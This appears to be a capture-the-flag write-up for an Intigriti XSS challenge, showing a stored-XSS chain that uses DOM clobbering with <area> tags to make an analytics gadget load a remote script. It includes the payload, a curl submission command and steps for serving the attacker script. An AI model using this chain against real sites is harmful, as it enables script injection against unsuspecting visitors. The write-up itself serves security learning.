my-writeups

Intigriti May 2026 — XSS Challenge Write-up

Stored XSS via DOM Clobbering and Unsafe Gadget

This challenge involved a retro arcade-style app (“Pixel Pioneers”) where users could update display names and leave testimonials. The testimonials were sanitized with DOMPurify. Application JavaScript also loaded analytics via a script gadget controlled by a config object on window. By leveraging DOM clobbering with allowed tags, it’s possible to turn a feature into a stored XSS.


Summary Table

Challenge Stored XSS via DOM Clobbering + Unsafe Script Gadget
Sanitizer DOMPurify 3.0.9
Impact High (one-click stored XSS, any testimonials visitor hit)
Vulnerable Tags <area id name href> (allowed by DOMPurify)
Vulnerability Application trusts window.PixelAnalyticsConfig from DOM

Overview


Vulnerability 1: DOM Clobbering via Allowed Tags

Browsers expose any element with an id as a property on window. If multiple elements share the same id, the property becomes an HTMLCollection where collection[name] gives the element with that name.
Both <a> and <area> tags are allowed by DOMPurify with id, name, and href.
Key point: HTMLAreaElement’s toString() returns its href.

Example clobbering payload (now as <area> tags):

<area id="PixelAnalyticsConfig" name="scriptUrl" href="http://127.0.0.1:8000/xss.js"></area>
<area id="PixelAnalyticsConfig" name="enabled"></area>

After this is in the DOM, you get:

window.PixelAnalyticsConfig           // HTMLCollection(2) of <area> tags
window.PixelAnalyticsConfig.enabled   // <area name="enabled">, which is truthy
window.PixelAnalyticsConfig.scriptUrl // <area name="scriptUrl">
window.PixelAnalyticsConfig.scriptUrl.toString() // "http://127.0.0.1:8000/xss.js"

Vulnerability 2: Unsafe Script Gadget

Relevant application code (simplified):

let config = window.PixelAnalyticsConfig ||
  { enabled: false, scriptUrl: '/js/mock-tracker.js' };

if (config.enabled) {
  let s = document.createElement('script');
  s.src = config.scriptUrl;
  document.body.appendChild(s);
}

Steps to Reproduce

  1. Register and log in on the app.
    Get a valid session.
  2. Submit this payload as your testimonial (using UI or API):

    <area id="PixelAnalyticsConfig" name="scriptUrl" href="http://127.0.0.1:8000/xss.js"></area>
    <area id="PixelAnalyticsConfig" name="enabled"></area>
    

    Example API request (with session cookie):

    curl -X POST https://challenge-0526.intigriti.io/api/testimonials \
      -H "Content-Type: application/json" \
      -H "Cookie: session=<your-session>" \
      -d '{"content":"<area id=\"PixelAnalyticsConfig\" name=\"scriptUrl\" href=\"http://127.0.0.1:8000/xss.js\"></area><area id=\"PixelAnalyticsConfig\" name=\"enabled\"></area>"}'
    
  3. Host your XSS payload file locally as xss.js in the same directory as your Python server:

    // xss.js
    alert(document.domain);
    

    Start the server:

    python3 -m http.server 8000
    

    Make sure the IP is reachable.

  4. Visit the testimonials page (or send a victim):

    https://challenge-0526.intigriti.io/challenge#testimonials
    

    This triggers the script load and fires your payload.


Why it Works


Remediation


Final Thoughts

This chain exploits legacy DOM features and an unsafe script gadget to bypass otherwise effective sanitization. Allowlisting too many HTML attributes or assuming window globals are safe can lead to this kind of remote code execution via stored XSS.


Write-up by sh3d0w